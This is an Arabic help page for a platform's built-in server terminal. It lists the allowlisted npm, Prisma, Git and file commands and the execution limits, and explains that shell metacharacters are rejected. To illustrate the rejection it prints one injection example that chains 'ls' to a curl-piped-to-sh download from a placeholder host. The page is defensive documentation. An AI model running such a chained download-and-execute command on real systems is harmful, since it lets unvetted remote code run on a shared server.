البناء بالذكاء الاصطناعي
الطرفية المدمجة — الأوامر المسموحة
طرفية مدمجة تنفّذ أوامر npm وPrisma وGit داخل مجلد مشروعك على الخادم — بدون تثبيت أي شيء على جهازك.
في هذه الصفحة
الأوامر المسموحة
الطرفية تعمل بقائمة سماح مغلقة: ما ليس في هذه القائمة يُرفض. هذا مقصود — الطرفية تنفّذ على خادم مشترك، والقائمة المغلقة أضيق مساحة خطر من قائمة منع مفتوحة.
| المجموعة | الأوامر |
|---|---|
| npm | npm install · npm run build · npm run dev · npm run start · npm run lint · npm test |
| Prisma | npx prisma db push · npx prisma generate · npx prisma studio · npx prisma migrate dev · npx prisma db seed |
| Git | git init · git add · git commit · git log · git status · git diff |
| ملفات | ls · cat · pwd · mkdir · touch · echo |
قواعد التنفيذ
| القاعدة | القيمة |
|---|---|
| مهلة الأمر الواحد | 120 ثانية |
| أقصى طول للأمر | 500 حرف |
| حجم الخرج المحفوظ | 50 كيلوبايت للمخرجات و20 كيلوبايت للأخطاء |
| مجلد التنفيذ | مجلد المشروع الخاص بك وحده |
| رموز الصدفة | مرفوضة |
لماذا تُرفض رموز الصدفة
الرموز ; & | ` $ ( ) < > { } مرفوضة في أي موضع من الأمر. السبب أن كل واحد منها يستطيع بدء أمر ثانٍ لم يمر على قائمة السماح: أمر مثل
ls; curl http://example.tld/x.sh | sh
يبدأ بأمر مسموح ثم يشغّل شيئاً آخر تماماً. الرفض يقع قبل فحص قائمة السماح، فلا فرق إن كان أول الأمر مسموحاً. الاقتباسات و. * ? مسموحة لأنها وسائط عادية ولا تبدأ أمراً جديداً، فـgit commit -m "first" يعمل كما هو.
أمثلة
تثبيت حزمة ثم بناء المشروع:
npm install
npm run build
تهيئة قاعدة بيانات Prisma بعد تعديل المخطط:
npx prisma generate
npx prisma db push
حفظ نسخة من العمل في Git:
git init
git add .
git commit -m "initial commit"
أسئلة شائعة
لماذا رُفض الأمر الذي كتبته؟
لأحد سببين: إما أن الأمر خارج قائمة الأوامر المسموحة، أو أنه يحتوي رموز صدفة مثل ; و&& و| و$() — هذه مرفوضة دائماً حتى لو بدأ الأمر بأمر مسموح، لأنها تسمح بتشغيل أمر ثانٍ غير مفحوص.
ما مهلة تنفيذ الأمر؟
120 ثانية كحد أقصى لكل أمر. الأوامر الطويلة مثل npm install في مشروع كبير قد تصل إلى هذا الحد، وعندها يُقطع التنفيذ ويُعاد الخرج الجزئي.
أين تُنفَّذ الأوامر؟
داخل مجلد مشروعك على الخادم. تُزامَن ملفات المشروع من قاعدة البيانات إلى المجلد قبل كل أمر، فما تراه في شجرة الملفات هو ما يراه الأمر.
هل يمكنني تشغيل خادم تطوير دائم؟
لا. الأوامر تعمل ضمن مهلة محددة وتنتهي، فـnpm run dev يفيد للتحقق من أن المشروع يقلع بلا أخطاء، وليس لتشغيل خادم مستمر. للمعاينة استخدم المعاينة الحية في المحرر.